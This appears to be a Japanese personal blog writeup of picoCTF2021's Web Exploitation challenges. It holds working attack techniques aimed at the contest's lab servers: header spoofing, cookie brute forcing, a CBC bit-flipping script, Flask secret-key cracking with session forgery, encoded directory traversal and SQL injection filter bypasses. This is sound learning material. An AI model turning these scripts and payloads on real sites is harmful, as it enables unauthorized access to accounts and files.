好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

picoCTF2021 [Web Exploitation] writeup

2021年3月16日~3月30日(日本時間では3月17日~3月31日)に開催された中高生向けのCTF大会、picoCTFの[Web]分野のwriteupです。
その他のジャンルについてはこちらを参照

tech.kusuwada.com

Ancient History

I must have been sleep hacking or something, I don't remember visiting all of these sites... http://mercury.picoctf.net:47733/ (try a couple different browsers if it's not working right)

リンク先のサイトを訪れてみると、Hello Wrold!の表示があるのみ。ソースを見てみると、何やら難読化されたスクリプトが。

何か仕掛けがありそう & 問題タイトルのhistoryより、よくブラウザを見てみるとこのサイトを新しいタブで開いたはずなのに履歴が辿れるようになっている。

全履歴を表示してみると、履歴のurlのクエリ部分に一文字ずつflagが。

f:id:kusuwada:20210331061845p:plain

chromeの履歴一覧ではうまく全部出てこなかったので、safariで試したところうまく行った👍

picoCTF{th4ts_k1nd4_n34t_814c5bcf}

GET aHEAD

Find the flag being held on this server to get ahead of the competition http://mercury.picoctf.net:53554/

f:id:kusuwada:20210331061921p:plain

あ、これ目にアカンやつや…。
ソースコードを眺めても特に怪しいところはなかったのだが、redがGETmethodのとき、blueがPOSTmethodのとき、というのが気になる。
他のmethodはどうなるんや?ということで、タイトルから推測して HEAD methodを試してみたところ、flagが降ってきました。

$ curl -v -X HEAD http://mercury.picoctf.net:53554/
Warning: Setting custom HTTP method to HEAD with -X/--request may not work the 
Warning: way you want. Consider using -I/--head instead.
*   Trying 18.189.209.142...
* TCP_NODELAY set
* Connected to mercury.picoctf.net (18.189.209.142) port 53554 (#0)
> HEAD / HTTP/1.1
> Host: mercury.picoctf.net:53554
> User-Agent: curl/7.64.1
> Accept: */*
> 
< HTTP/1.1 200 OK
< flag: picoCTF{r3j3ct_th3_du4l1ty_2e5ba39f}
< Content-type: text/html; charset=UTF-8
* no chunk, no close, no size. Assume close to signal end
< 
* Closing connection 0

Cookies

Who doesn't love cookies? Try to figure out the best one. http://mercury.picoctf.net:6418/

f:id:kusuwada:20210331062009p:plain

こんなページに案内されます。
cookieらしいのでcookieを見てみると、name=-1 が入っています。

何度かページを更新していると、なんかちらっと一瞬他のcookieが設定されている気がする。Networkでrequest/responseをちゃんと見てみると、

session=session=eyJfZmxhc2hlcyI6W3siIHQiOlsiZGFuZ2VyIiwiVGhhdCBkb2Vzbid0IGFwcGVhciB0byBiZSBhIHZhbGlkIGNvb2tpZS4iXX1dfQ.YFHBdg.caSl3vwW5CiM4YWi2hXJGZyOEg4

みたいなcookieも設定されている。が、これをbase64 decodeして直してみても

{"_flashes":[{" t":["danger","That doesn't appear to be a valid cookie."]}]}

だって。
こんな感じでいくつかcookieが設定されてるのかな、と思い、Cookieの種別一覧なんかを見ながら適切なcookieを探してみるも、ヒットせず。

そういえば、検索機能の欄にdefaultで何か入っていたな、と思い、defaultのsnickerdoodleを入れてみると、検索結果がhitに変化。cookieを確認してみると、name=0に変わっています!
name=1にしてページを更新してみると、今度は

I love chocolate chip cookies!

に変化。なるほど、cookieでnameのindexをセットしている感じだ。ではflagが出るまで試していきます。
雑スクリプト。

import requests

url = 'http://mercury.picoctf.net:6418/check'

for i in range(100):
    print(i)
    cookies = dict(name=str(i))
    res = requests.get(url, cookies=cookies)
    if 'picoCTF' in res.text:
        print(res.text)
        break

実行結果

$ python cookie.py
0
1
... 割愛
17
18
<!DOCTYPE html>
<html lang="en">
... 割愛
            <p style="text-align:center; font-size:30px;"><b>Flag</b>: <code>picoCTF{3v3ry1_l0v3s_c00k135_88acab36}</code></p>
        </div>

... 割愛
</html>

でた👍

Scavenger Hunt

There is some interesting information hidden around this site http://mercury.picoctf.net:27278/. Can you find it?

こんなサイト。

f:id:kusuwada:20210331062105p:plain

Whatのタブには、こんな情報が。

What I used these to make this site: HTML CSS JS (JavaScript)

Chrom開発者ツールのSourcesから、それぞれの構成ファイルを見てみると、コメントアウトなどしてflagの断片やヒントが書かれています。

index(html): <!-- Here's the first part of the flag: picoCTF{t -->
mycss.css: /* CSS makes the page look nice, and yes, it also has part of the flag. Here's part 2: h4ts_4_l0 */
myjs.js: /* How can I keep Google from indexing my website? */

myjs.jsのヒントより、/robots.txtを訪れてみると

User-agent: *
Disallow: /index.html
# Part 3: t_0f_pl4c
# I think this is an apache server... can you Access the next flag?

まだ続きがあるみたいです。apatch servereということは、ファイル一覧が見れるpathが開いてるかも。
…と思って、index.htmlとかにアクセスしてみたけど違うみたい。他、apacheのアクセス制御といえば… .htaccess。ということで/.htaccessにアクセスしてみると

# Part 4: 3s_2_lO0k
# I love making websites on my Mac, I can Store a lot of information there.

最後じゃなかった。mac?私もmac使っとるぞ。
Mac特有のファイルといえば、githubとか使っててignore設定を真っ先にするファイル .DS_Store が思いつく。/.DS_Storeにアクセスしてみると

Congrats! You completed the scavenger hunt. Part 5: _a69684fd}

断片をつなげるとflagに 🙌

Who are you?

Let me in. Let me iiiiiiinnnnnnnnnnnnnnnnnnnn http://mercury.picoctf.net:39114/

サイトを訪れると

f:id:kusuwada:20210331062218p:plain

Only people who use the official PicoBrowser are allowed on this site!

とのこと。curlでUserAgentを指定してみます。

$ curl -A "PicoBrowser" http://mercury.picoctf.net:39114/

今度は

I don't trust users visiting from another site.

と言われるので、refererを設定してあげます。

$ curl -A "PicoBrowser" http://mercury.picoctf.net:39114/ --referer http://mercury.picoctf.net:39114/

Sorry, this site only worked in 2018.

タイムスリップする必要があるらしい。ちょっとよくわかんなかったので、Linux(Ubuntu)VMの時刻を一時的にずらして対応。ホストの時間操作するのは怖いので。

$ timedatectl set-ntp no
$ timedatectl set-time "2018-08-15 07:22:00"
$ timedatectl status
               Local time: 水 2018-08-15 07:22:12 JST
           Universal time: 火 2018-08-14 22:22:12 UTC
                 RTC time: 火 2018-08-14 22:22:12    
                Time zone: Asia/Tokyo (JST, +0900)   
System clock synchronized: no                        
              NTP service: inactive                  
          RTC in local TZ: no 
$ date
2018年  8月 15日 水曜日 07:22:25 JST
$ curl -A "PicoBrowser" http://mercury.picoctf.net:39114/ --referer http://mercury.picoctf.net:39114/

うーん。でも2018年で動かせと。2018年とは認識されていないらしい。何処かにtimestamp情報記載されて送られてそうなもんだけど、見ているところは別にあるみたい。
ここまでの流れからして、リクエストに明示的に時間を載せて上げる必要がありそう。調べてみるとこんなのが。

Date - HTTP | MDN

Headerに入れてみるか。

$ curl -A "PicoBrowser" -H "Date: Wed, 15 Aug 2018 07:28:00 JST" http://mercury.picoctf.net:39114/ --referer http://mercury.picoctf.net:39114/

I don't trust users who can be tracked.

おお!変わった!時刻の件は通ったっぽい。
trackでググると、"Do Not Track" という仕組みがあるらしい。

Do Not Track(DNT)について | GMOインターネット 次世代システム研究室

これをヘッダにつけてあげると良さそう。

$ curl -A "PicoBrowser" -H "DNT: 1" -H "Date: Wed, 15 Aug 2018 07:28:00 JST" http://mercury.picoctf.net:39114/ --referer http://mercury.picoctf.net:39114/

This website is only for people from Sweden.

OK, スウェーデンからね。IPアドレスを送ってあげます。スウェーデンのIPレンジは下記から取得。

Sweden IP Address Ranges | IP2Location LITE

$ curl -A "PicoBrowser" -H "X-Forwarded-For: 2.16.66.1" -H "DNT: 1" -H "Date: Wed, 15 Aug 2018 07:28:00 JST" http://mercury.picoctf.net:39114/ --referer http://mercury.picoctf.net:39114/

You're in Sweden but you don't speak Swedish?

OK、言葉も設定ね。"Accept-Language"で設定します。この辺を見つつ。

$ curl -A "PicoBrowser" -H "Accept-Language: sv-SE" -H "X-Forwarded-For: 2.16.66.1" -H "DNT: 1" -H "Date: Wed, 15 Aug 2018 07:28:00 JST" http://mercury.picoctf.net:39114/ --referer http://mercury.picoctf.net:39114/

What can I say except, you are welcome picoCTF{http_h34d3rs_v3ry_c0Ol_much_w0w_20ace0e4}

いやー長い問題だった…。

Some Assembly Required 1

http://mercury.picoctf.net:1896/index.html

サイトを訪れてみると、Enter flagとだけあるシンプルなサイト。

f:id:kusuwada:20210331063114p:plain

Chrome開発者ツールでNetworkを覗いてみると、怪しいバイナリっぽいファイルJIFxzHyW8Wがいます。
開発者ツール上で見てみると、flagが書いてありました。

f:id:kusuwada:20210331063131p:plain

Some Assembly Required 2

http://mercury.picoctf.net:15406/index.html

さっきと同じ画面。

今度はaD8SvhyVkbというバイナリファイルがあり、直接フラグは書いてないみたい。 このバイナリファイル、wasmファイルなのでdecompileしてみる。

WebAssemblyファイルをデコンパイルする | hifive開発者ブログ

こちらのサイトを参考にdecompileまでしてみた。

$ git clone --recursive https://github.com/WebAssembly/wabt
$ cd wabt
$ make
$ ./bin/wasm2c ../aD8SvhyVkb

実行結果抜粋

static const u8 data_segment_data_0[] = {
  0x78, 0x61, 0x6b, 0x67, 0x4b, 0x5c, 0x4e, 0x73, 0x6d, 0x6e, 0x3b, 0x6a, 
  0x38, 0x6a, 0x3c, 0x39, 0x3b, 0x3c, 0x3f, 0x3d, 0x6c, 0x3f, 0x6b, 0x38, 
  0x38, 0x6d, 0x6d, 0x31, 0x6e, 0x39, 0x69, 0x31, 0x6a, 0x3e, 0x3a, 0x38, 
  0x6b, 0x3f, 0x6c, 0x30, 0x75, 0x00, 0x00, 
};

これは16進数のflag…!
かと思ったけどそのままascii変換してもだめだった。
このあと、cにしたコードをコンパイルして実行してみたり色々したけど、もう一度思い直して上記の値をCyberChefに突っ込んで色々やってみたらflag出た。

f:id:kusuwada:20210331063210p:plain

まぁ何かしらでXOR処理入ってるっぽいな、というくらいはコードを眺めたのだけど。
CyberChef、わけも分からずに使っても実力はつかない気がするけど、ちゃんと仕組みを理解した上で色々試す分には本当に良い。本当に良い。(以降多用)

Some Assembly Required 3

http://mercury.picoctf.net:10388/index.html

1,2と同様に、Chrome開発者ツールのNetworkから、qCCYI0ajpDがDLできます。

$ file qCCYI0ajpD 
qCCYI0ajpD: WebAssembly (wasm) binary module version 0x1 (MVP)

またwasmです。
同じ手順でdecompileしてみます。
気になる領域だけ抜粋。

static const u8 data_segment_data_0[] = {
  0x9d, 0x6e, 0x93, 0xc8, 0xb2, 0xb9, 0x41, 0x8b, 0xc1, 0xc5, 0xdc, 0x61, 
  0xc6, 0x97, 0x94, 0x8c, 0x66, 0x91, 0x91, 0xc1, 0x89, 0x33, 0x94, 0x9e, 
  0xc9, 0xdd, 0x61, 0x91, 0xc4, 0xc8, 0xdd, 0x62, 0xc0, 0x92, 0xc1, 0x8c, 
  0x37, 0x95, 0x93, 0xc8, 0x90, 0x00, 0x00, 
};

static const u8 data_segment_data_1[] = {
  0xf1, 0xa7, 0xf0, 0x07, 0xed, 
};

data_segment_data_0の方をcyberchefに突っ込み、from Hex した後、Some Assembly Required 2と同様にxorのbrute forceをやってみるもうまいこと行きません。
最初の文字はfalg formatのpico になると想定して、xor brute forceで最初の文字がpになるためのxor相手を見てみると、

Key = ed: p.~%_T¬f,(1.+zya.||,dÞys$0.|)%0.-.,aÚx~%}

edだ!
data_segment_data_1の最後がedなので、これを逆順にxorの鍵として渡すと、flagが出てきました!

f:id:kusuwada:20210331063418p:plain

…Web問題なのか?

Some Assembly Required 4

http://mercury.picoctf.net:43997/index.html

このシリーズ最後の問題。Webなのに苦手なアセンブリで辛い(結局解答に至った手順ではほとんどアセンブリ使ってないけど)

今度は ZoRd23o0wd がDLできます。
同様にdecompileして、気になるところを抜き出してみます。

static const u8 data_segment_data_0[] = {
  0x18, 0x6a, 0x7c, 0x61, 0x11, 0x38, 0x69, 0x37, 0x1e, 0x5f, 0x7d, 0x5b, 
  0x68, 0x4b, 0x5d, 0x3d, 0x02, 0x18, 0x14, 0x7b, 0x65, 0x36, 0x45, 0x5d, 
  0x28, 0x5c, 0x33, 0x45, 0x09, 0x39, 0x56, 0x44, 0x42, 0x7d, 0x3b, 0x6f, 
  0x40, 0x57, 0x7f, 0x0e, 0x59, 0x00, 0x00, 
};

あとは、w2c_check_flag関数がめっちゃ大きくなってるのと、今まで出てきていなかったと思われるシフト演算 (<<) などがちょいちょい出てきている。

この数値をCyberChefにかけても何も得られなかったので、ちゃんとコードを読んでみることに。
wasm2cで2,3と同じようにdecompileしたのだけど、長くてとても読めそうにない。

慣れているghidraの吐いたcコードなら行けるかと思い、こちらのリンクのfacをコンパイルする方法を参考に、main.cを作成してコンパイルしてみました。

wabt/wasm2c at main · WebAssembly/wabt · GitHub

wasm2c -> compile -> ghidraでdecompileした結果を読んで下記のスクリプトを作った…のですが、flagにならず。

given_arry = [0x18, 0x6a, 0x7c, 0x61, 0x11, 0x38, 0x69, 0x37, 0x1e, 0x5f, 0x7d, 0x5b, 0x68, 0x4b, 0x5d, 0x3d, 0x02, 0x18, 0x14, 0x7b, 0x65, 0x36, 0x45, 0x5d, 0x28, 0x5c, 0x33, 0x45, 0x09, 0x39, 0x56, 0x44, 0x42, 0x7d, 0x3b, 0x6f, 0x40, 0x57, 0x7f, 0x0e, 0x59]

changed_arry = given_arry.copy()

for i in range(len(given_arry)):
    changed_arry[i] = given_arry[i] ^ 0x14
    
    if 0 < i:
        changed_arry[i] = changed_arry[i] ^ changed_arry[i-1]
    if 2 < i:
        changed_arry[i] = changed_arry[i] ^ changed_arry[i-3]
    
    changed_arry[i] = changed_arry[i] ^ (i % 10)
    
    if i % 2 == 0:
        changed_arry[i] = changed_arry[i] ^ 9
    else:
        changed_arry[i] = changed_arry[i] ^ 8
    
    if i % 3 == 0:
        changed_arry[i] = changed_arry[i] ^ 7
    elif i % 3 == 1:
        changed_arry[i] = changed_arry[i] ^ 6
    else:
        changed_arry[i] = changed_arry[i] ^ 5

for i in range(len(given_arry)-1):
    if i % 2 == 0:
        k = changed_arry[i]
        changed_arry[i] = changed_arry[i+1]
        changed_arry[i+1] = k

for c in changed_arry:
    #print(hex(c)[2:], end=' ')
    print(str(c), end=' ')

早く他の人のwriteupが読みたい…。何処が違ったんや…。結構な苦行だったぞ…。

わからんわからんと調べ得ているうちに、wasmがChrom開発者ツールからも読めるようになっている&なんとステップ実行できるようになっていることを知る

chrome開発者ツール > Sources > wasm > 869d0496

で、decompileされたwasmを見せてくれる & breakpointを設定できるので、0x0791行目のstrcmp関数呼び出しのところにbreakpointを貼って、さっきのコードからの解析だと最後に二文字ずつ入れ替えが発生しているので2文字ずつペアにして、正しい値がScopeの

Module > $memory > buffer > 1072

のアドレスの値が、1024のアドレスと同じになるようにチマチマやっていきました…。
コードからズバッと出したかったなぁ…。

f:id:kusuwada:20210331063716p:plain

最後まで行ったのでenterしたらなんとか通った…。

f:id:kusuwada:20210331063737p:plain

picoCTF{7d7a0a45096d8254b6661ed08cd52ee4}

More Cookies

I forgot Cookies can Be modified Client-side, so now I decided to encrypt them! http://mercury.picoctf.net:25992/

サイトを訪れてみるとこんな感じ。

f:id:kusuwada:20210331094908p:plain

cookieを確認してみると、

auth_name: YlNXaStyRE5JYWhvZEIwKzBPaVc1cjJFRDc4Y3FDVENvcWpyMEVBdUlxOXNJK2hQTEY5cmV3L0hETmlYZWtPRkxzM3VGYWQyc1JhOGxkM0VSVFFCS3BSSDVjRHhmLzFCSHV6OGl6UXE1Um5zeG5wZzRMTFJKSXdEV2Ntc0g5eXg=

Base64 decodeしてみると

bSWi+rDNIahodB0+0OiW5r2ED78cqCTCoqjr0EAuIq9sI+hPLF9rew/HDNiXekOFLs3uFad2sRa8ld3ERTQBKpRH5cDxf/1BHuz8izQq5Rnsxnpg4LLRJIwDWcmsH9yx

もう一度Base64 decodeできそう。けどもう一度やってみても意味のある値は出てこず。
cookieはリセットする度に変わるので、固定値ではなさそう。
auth_nameadminをいれると、decodeできないと怒られます。adminをbase64 encodeしただけ or base64 encode×2でもだめ。

ヒントを見ると、Homomorphic encryption - Wikipedia この暗号の解説ページに。
日本語のwikipediaはこちら。準同型暗号 - Wikipedia

準同型性の暗号の総称らしく、「これ」という暗号方式を教えてくれているわけではなさそう。

そういえば、問題文が不自然に大文字が混じっている。
大文字をつなげると、CBC…CBCといえば暗号のモードの一つ。一番一般的なのは、AES-CBC?
でもkeyもivも不明。
keyもivも不明で、CBC絡みで攻撃に使えそうなもの…。

そういえば、picoCTFのcookie系って user:1 とか admin:0 みたいな感じで格納されていることが多かったな?平文のcookieのどこか1バイト返れられればうまく行ったりしないかな?

ヒントの

The search endpoint is only helpful for telling you if you are admin or not, you won't be able to guess the flag name

からも、adminとしてログインできれば良くて、cookieの平文がflagになってたりするわけではなさそう。

~めっちゃググりタイム & ハズレ解法の試行タイム~

下記で紹介されているような Bit-flipping attack on CBC mode が使えないかしら。

To change a byte in the plaintext by corrupting a byte in the ciphertext.

ほうほう!
base64なので、候補の文字列は64文字。これを1文字ずつflipさせてみてうまくいくか試してみます。

import requests
import string

candidates = string.ascii_letters + string.digits + '+/'
url = 'http://mercury.picoctf.net:25992/'

flag_format = 'picoCTF{'

def attack(cookie):
    cookies = {'auth_name': cookie}
    res = requests.get(url, cookies=cookies)
    #print(res.text)
    if flag_format in res.text:
        print(cookie)
        print(res.text)
        return True
    return False

while True:
    s = requests.session()
    res = s.get(url)
    cookie = s.cookies.get('auth_name')
    print(cookie)
    for i in range(len(cookie)):
        print(i)
        for c in candidates:
            chall = cookie[:i] + c + cookie[i+1:]
            #print(chall)
            if (attack(chall)):
                exit(0)

実行結果

$ python solve.py 
VU5Nbm5hTVJrODZRZ29xMC9SWkdPWitZZjg3Nk9aYU81MlV5MDZPaHVkQ29OT1VGcDZZQk9TM3Rlb0RCZDVLMVV3LzNIcUJKMk5sTXZCdnM3MDRUK3NZNU1TemgwN01pN1ZTd2dxTDJma2xsSnlqL01lOFBJK3c1ODM5eU0zOXQ=
0
1
2
3
4
...(中略)...
YXdmUXZ5YTA3YVhxSmoyaUZFQzU0eWVCWWkvL0NsRXdzWjYzZEQvaUd0Tld3Zys4NHR3RFhST2lWcWQyTEE5bSsraUtXY05WeEhwM0ZoL2tLQUJmVkFWNUNCU1ZydDMrNWJueHNJeExxOGRaeitoMVdsTWoycDk4Q0VJbHZ0Rnc=
0
1
2
...(中略)...
15
16
17
YXdmUXZ5YTA3YVhxSnoyaUZFQzU0eWVCWWkvL0NsRXdzWjYzZEQvaUd0Tld3Zys4NHR3RFhST2lWcWQyTEE5bSsraUtXY05WeEhwM0ZoL2tLQUJmVkFWNUNCU1ZydDMrNWJueHNJeExxOGRaeitoMVdsTWoycDk4Q0VJbHZ0Rnc=
<!DOCTYPE html>
<html lang="en">
...(中略)...
<head>
    <title>More Cookies</title>


<body>

    <div class="container">
        <div class="header">
            <nav>
                <ul class="nav nav-pills pull-right">
                    <li role="presentation"><a href="/reset" class="btn btn-link pull-right">Reset</a>
                    </li>
                </ul>
            </nav>
            <h3 class="text-muted">More Cookies</h3>
        </div>

        <div class="jumbotron">
            <p class="lead"></p>
            <p style="text-align:center; font-size:30px;"><b>Flag</b>: <code>picoCTF{cO0ki3s_yum_82f39377}</code></p>
        </div>
...(中略)...
</html>

3個目のcookieに対してflag出ました!

f:id:kusuwada:20210331070635p:plain

これは…難しかった…。めっちゃ時間かかった…。なんで90pt?

It is my Birthday

I sent out 2 invitations to all of my friends for my birthday! I'll know if they get stolen because the two invites look similar, and they even have the same md5 hash, but they are slightly different! You wouldn't believe how long it took me to find a collision. Anyway, see if you're invited by submitting 2 PDFs to my website. http://mercury.picoctf.net:57247/

サイトを訪れるとこんな感じ。

f:id:kusuwada:20210331070800p:plain

問題文より、MD5 hashが同じファイルをアップロードすれば良さそう。
SANS Holliday Hack Challenge 2020 の 11b) Naughty/Nice List with Blockchain Investigation Part 2 で、md5Hashが衝突するPDFをちょうど作成したところだったので、このファイルを突っ込んだら大きすぎると怒られた。残念。

Peter Selinger: MD5 Collision Demo

こちらのMD5 hashの衝突に関するサイトの two PostScript files with identical MD5 hash リンクの先にある2つのpsファイル letterorderをDLし、そのままだと怒られたので「どうせ拡張子しか見とらんじゃろう」と拡張子を.pdfにしてアップロードしたところ、phpコードが表示されてフラグが書いてありました👍

f:id:kusuwada:20210331070803p:plain

Super Serial

Try to recover the flag stored on this website http://mercury.picoctf.net:8404/

Hints

The flag is at ../flag

f:id:kusuwada:20210331070920p:plain

こんなサイト。
何処かで見たような名前だなーと思って過去問を見てみると

picoCTF2019 [Web] cereal hacker 1 (450pt)

画面が全く同じ & タイトルが似ている。
とりあえずflagのpathを教えてもらっているので、directory traversalなどをやってみる。

GitHub - JahTheTrueGod/Directory-Traversal-Cheat-Sheet: Directory traversal refresher

このへんを見ながら、まずは素直に../flagにアクセスを試みると

$ curl --path-as-is http://mercury.picoctf.net:8404/../flag
$ curl --path-as-is http://mercury.picoctf.net:8404/....//flag
$ curl --path-as-is http://mercury.picoctf.net:8404/..../flag
$ curl --path-as-is http://mercury.picoctf.net:8404/%2e%2e/flag
picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_66832978}

出た!.を%エンコードするだけで良かった。
去年の問題全然関係なかった。

Most Cookies

Alright, enough of using my own encryption. Flask session cookies should be plenty secure! server.py http://mercury.picoctf.net:52134/

サイトを訪れるとこんな感じ。

f:id:kusuwada:20210331071012p:plain

最初にセットされているcookieは

session:eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.YFJ9XA.6wZUhi3niOQknP3zuJ8rWiNYndw
base64 decode: {"very_auth":"blank"}R}\.°eHbÞx.BIÏß;.òµ¢5.ÝÄ

snickerdoodleにした時は

session: eyJ2ZXJ5X2F1dGgiOiJzbmlja2VyZG9vZGxlIn0.YFJ9iQ.jUxRgP6A91mSEQ8gabxhY7GIBng,
base64 decode: {"very_auth":"snickerdoodle"}...bB51F.ú.ÝfHD<.¦ñ..Æ .à

ヒントからも、sessionの形式からも、過去のpicoCTFでも出題された、flaskのsession改ざん問題のようです。

secretがわからないなー、と思ってたら、server.pyが配布されていた!

from flask import Flask, render_template, request, url_for, redirect, make_response, flash, session
import random
app = Flask(__name__)
flag_value = open("./flag").read().rstrip()
title = "Most Cookies"
cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]
app.secret_key = random.choice(cookie_names)

@app.route("/")
def main():
    if session.get("very_auth"):
        check = session["very_auth"]
        if check == "blank":
            return render_template("index.html", title=title)
        else:
            return make_response(redirect("/display"))
    else:
        resp = make_response(redirect("/"))
        session["very_auth"] = "blank"
        return resp

@app.route("/search", methods=["GET", "POST"])
def search():
    if "name" in request.form and request.form["name"] in cookie_names:
        resp = make_response(redirect("/display"))
        session["very_auth"] = request.form["name"]
        return resp
    else:
        message = "That doesn't appear to be a valid cookie."
        category = "danger"
        flash(message, category)
        resp = make_response(redirect("/"))
        session["very_auth"] = "blank"
        return resp

@app.route("/reset")
def reset():
    resp = make_response(redirect("/"))
    session.pop("very_auth", None)
    return resp

@app.route("/display", methods=["GET"])
def flag():
    if session.get("very_auth"):
        check = session["very_auth"]
        if check == "admin":
            resp = make_response(render_template("flag.html", value=flag_value, title=title))
            return resp
        flash("That is a cookie! Not very special though...", "success")
        return render_template("not-flag.html", title=title, cookie_name=session["very_auth"])
    else:
        resp = make_response(redirect("/"))
        session["very_auth"] = "blank"
        return resp

if __name__ == "__main__":
    app.run()

secret_keyはcookie_namesの中からランダムで決まるらしい!

picoCTF2019 [Web] Empire2 (450pt) で使ったコードを流用して、まずは今の snickerdoodles のときのsecret_keyを割り出してみます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-
# this code is refer to bellow site
#   https://qiita.com/koki-sato/items/6ff94197cf96d50b5d8f#flask-%E3%81%AE%E3%82%BB%E3%83%83%E3%82%B7%E3%83%A7%E3%83%B3%E6%94%B9%E3%81%96%E3%82%93

from flask.sessions import SecureCookieSessionInterface
from itsdangerous import base64_decode, URLSafeTimedSerializer

cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]

snicker_session = 'eyJ2ZXJ5X2F1dGgiOiJzbmlja2VyZG9vZGxlIn0.YFMmCw.GTDdcd35Hd-cyfkZ8Y1zUkEgw1Q'

class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface):
    # NOTE: Override method
    def get_signing_serializer(self, secret_key):
        signer_kwargs = {
            'key_derivation': self.key_derivation,
            'digest_method': self.digest_method
        }
        return URLSafeTimedSerializer(
            secret_key,
            salt=self.salt,
            serializer=self.serializer,
            signer_kwargs=signer_kwargs
        )

class FlaskSessionCookieManager:
    @classmethod
    def decode(cls, secret_key, cookie):
        sscsi = SimpleSecureCookieSessionInterface()
        signingSerializer = sscsi.get_signing_serializer(secret_key)
        return signingSerializer.loads(cookie)

    @classmethod
    def encode(cls, secret_key, session):
        sscsi = SimpleSecureCookieSessionInterface()
        signingSerializer = sscsi.get_signing_serializer(secret_key)
        return signingSerializer.dumps(session)

# main
for key in cookie_names:
    try:
        session = FlaskSessionCookieManager.decode(key, snicker_session)
        print(key, session)
        break
    except:
        continue

実行結果

$ python solve.py 
tassie {'very_auth': 'snickerdoodle'}

secretはtassieだったみたい!これはcookieを取るごとに変わるのかな。
このsecretを使って、very_authadminに変えてみます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-
# this code is refer to bellow site
#   https://qiita.com/koki-sato/items/6ff94197cf96d50b5d8f#flask-%E3%81%AE%E3%82%BB%E3%83%83%E3%82%B7%E3%83%A7%E3%83%B3%E6%94%B9%E3%81%96%E3%82%93

from flask.sessions import SecureCookieSessionInterface
from itsdangerous import base64_decode, URLSafeTimedSerializer

cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]

snicker_session = 'eyJ2ZXJ5X2F1dGgiOiJzbmlja2VyZG9vZGxlIn0.YFMmCw.GTDdcd35Hd-cyfkZ8Y1zUkEgw1Q'

class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface):
    # NOTE: Override method
    def get_signing_serializer(self, secret_key):
        signer_kwargs = {
            'key_derivation': self.key_derivation,
            'digest_method': self.digest_method
        }
        return URLSafeTimedSerializer(
            secret_key,
            salt=self.salt,
            serializer=self.serializer,
            signer_kwargs=signer_kwargs
        )

class FlaskSessionCookieManager:
    @classmethod
    def decode(cls, secret_key, cookie):
        sscsi = SimpleSecureCookieSessionInterface()
        signingSerializer = sscsi.get_signing_serializer(secret_key)
        return signingSerializer.loads(cookie)

    @classmethod
    def encode(cls, secret_key, session):
        sscsi = SimpleSecureCookieSessionInterface()
        signingSerializer = sscsi.get_signing_serializer(secret_key)
        return signingSerializer.dumps(session)

# main
for key in cookie_names:
    try:
        session = FlaskSessionCookieManager.decode(key, snicker_session)
        print(key, session)
        secret_key = key
        break
    except:
        continue
admin_session = session
admin_session['very_auth'] = 'admin'
admin_cookie = FlaskSessionCookieManager.encode(secret_key, admin_session)
print(admin_cookie)

実行結果

$ python solve.py 
tassie {'very_auth': 'snickerdoodle'}
eyJ2ZXJ5X2F1dGgiOiJhZG1pbiJ9.YFMp1Q.pYlPf_plkGeQ0DoSE0_QzA9kSMc

このcookieをセットして画面をリロードすると、flagがでてきました🎉

f:id:kusuwada:20210331071023p:plain

Web Gauntlet 2

This website looks familiar... Log in as admin Site: http://mercury.picoctf.net:26215/ Filter: http://mercury.picoctf.net:26215/filter.php

ん?2だけど1はあったかな?

f:id:kusuwada:20210331071107p:plain

お、SQL injection問だ!待ってました!!
filterはこんな感じ。

Filters: or and true false union like = > < ; -- / / admin

ヒントより、sqliteみたい。
あ!昨年のmini competition が シリーズ1だったのか。納得。
mini competitionのときはround5まであったけど、今回は1回で終わりらしい。

いろいろ試してみたところ、入力は合わせて35文字以下でないといけないらしい。
裏に入力値を含んだクエリを表示してくれる。

SELECT useername, password FROM users WHERE username='${usernmame}' AND password='${password}'

こんな感じでクエリに変換されるようだ。
filterによってコメントアウトが使えない。これは困った。

Username: ' where 'ad'||'min' in(
Password: )%00

このように関数に入れたりしちゃえば、邪魔な And Password= をただの文字列として扱えそうではある。
ちなみにsqlietでは || は or ではなくて文字連結として扱われるので 'ad'||'min'adminと解釈される。その代わり or||, and&& というのは使えない。

よし。localで試してみよう。sqlite3 はインストール済みなので、dbとtable作成。

$ sqlite3 gauntlet.sqlite
sqlite> create table users(username TEXT NOT NULL, password TEXT NOT NULL);
sqlite> insert into users values('admin', 'testpassword');
sqlite> insert into users values('guest', 'guestpassword');

さっきの「関数に And Password=」を入れちゃう作戦を実践してみる。

sqlite> SELECT username, password FROM users WHERE username='ad'||'min' and password not in(' And Password=');
admin|testpassword

これだとandorが入っちゃってるけど、こんな感じで行けそうな気がしてきたぞ。そもそもpasswordにもorが入ってるから使えないのと、order byにもorが入ってるから使えない。
他に使えそうなのは… group by

sqlite> SELECT username, password FROM users WHERE username='ad'||'min' group by ' And Password';
admin|testpassword

お!行けそう!!

Username: ad'||'min' group by 
Password: '

f:id:kusuwada:20210331071149p:plain

やったー!!
filter.php を見てみると、ソースコードとflagが表示されていました。

<?php
session_start();

if (!isset($_SESSION["winner2"])) {
    $_SESSION["winner2"] = 0;
}
$win = $_SESSION["winner2"];
$view = ($_SERVER["PHP_SELF"] == "/filter.php");

